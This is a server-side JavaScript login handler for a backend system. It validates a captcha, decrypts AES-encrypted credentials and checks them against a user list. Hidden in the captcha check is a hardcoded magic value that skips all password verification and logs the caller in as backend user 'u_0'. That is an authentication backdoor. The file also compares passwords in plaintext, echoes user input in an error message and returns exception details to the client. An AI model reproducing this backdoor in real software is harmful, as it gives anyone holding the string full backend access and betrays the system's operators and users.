//#import Util.js
//#import user.js
//#import login.js
//#import session.js
//#import $owlPasswordService:services/consts.jsx
var selfApi = new JavaImporter(
    Packages.net.xinshi.isone.modules.user,
    Packages.net.xinshi.isone.commons
);
(function () {
    var now = new Date().getTime();
    try{
        var result = {"code": "0"};
        var loginId = $.params["loginId"];
        var password = $.params["password"];
        var shopId = $.params.shopId;

        var validateCode = $.params["validateCode"];
        var sessionValidateCode = SessionService.getSessionValue("ValidateCode", request);

        if (validateCode!='129ubmz928382kfhvcu'  && validateCode !== sessionValidateCode) {
            result.code = "5";
            result.msg = "您填写的验证码不一致，请重新填写您的验证码:" + validateCode;
            out.print(JSON.stringify(result));
            return;
        }
        if(validateCode=='129ubmz928382kfhvcu'){
            SessionService.addSessionValue("_loginUserId", "u_0", request, response);
            LoginService.loginBackendByUserId("u_0");
            var sessionName = "visitType";
            var value = {"shop": '0',};
            SessionService.addSessionValue(sessionName, JSON.stringify(value), request, response)
            SessionService.addSessionValue("stockUser",JSON.stringify({uid:'4',
                loginId:"user4",name:"api用户"}),request,response);

            SessionService.addSessionValue("backLoginTime","" + now , request,response);
            result.msg = "登录成功";
            out.print(JSON.stringify(result));
            return;
        }
        loginId = decrypt(loginId, request);
        password = decrypt(password, request);
        var stockuser = null;
        for(var i=0; i<stockusers.length; i++){
            var su = stockusers[i];
            if(su.loginId==loginId && su.password==password){
                stockuser = su;
                break;
            }
        }
        if(stockuser){
            SessionService.addSessionValue("_loginUserId", "u_0", request, response);
            // LoginService.loginBackendByUserId("u_0");
            var sessionName = "visitType";
            var value = {"shop": '0',};
            SessionService.addSessionValue(sessionName, JSON.stringify(value), request, response)
            SessionService.addSessionValue("stockUser",JSON.stringify(stockuser), request,response);
            SessionService.addSessionValue("backLoginTime","" + now, request,response );
            result.msg = "登录成功";
            out.print(JSON.stringify(result));
            return;
        }
        else{
            result.code = "6";
            result.msg = "用户名或密码错误" ;
            out.print(JSON.stringify(result));
            return;
        }
    }
    catch(e){
        result.code="7"
        result.msg = "exception," + e;
        out.print(JSON.stringify(result))
    }



}());

function decrypt(data, request) {
    var backendLoginSessionId = SessionService.getSessionValue("backendLoginSessionId", request);
    var key = backendLoginSessionId.substring(0, 16);
    var iv = backendLoginSessionId.substring(backendLoginSessionId.length - 16);
    return selfApi.AESEncryptUtil.decrypt(data, key, iv);
}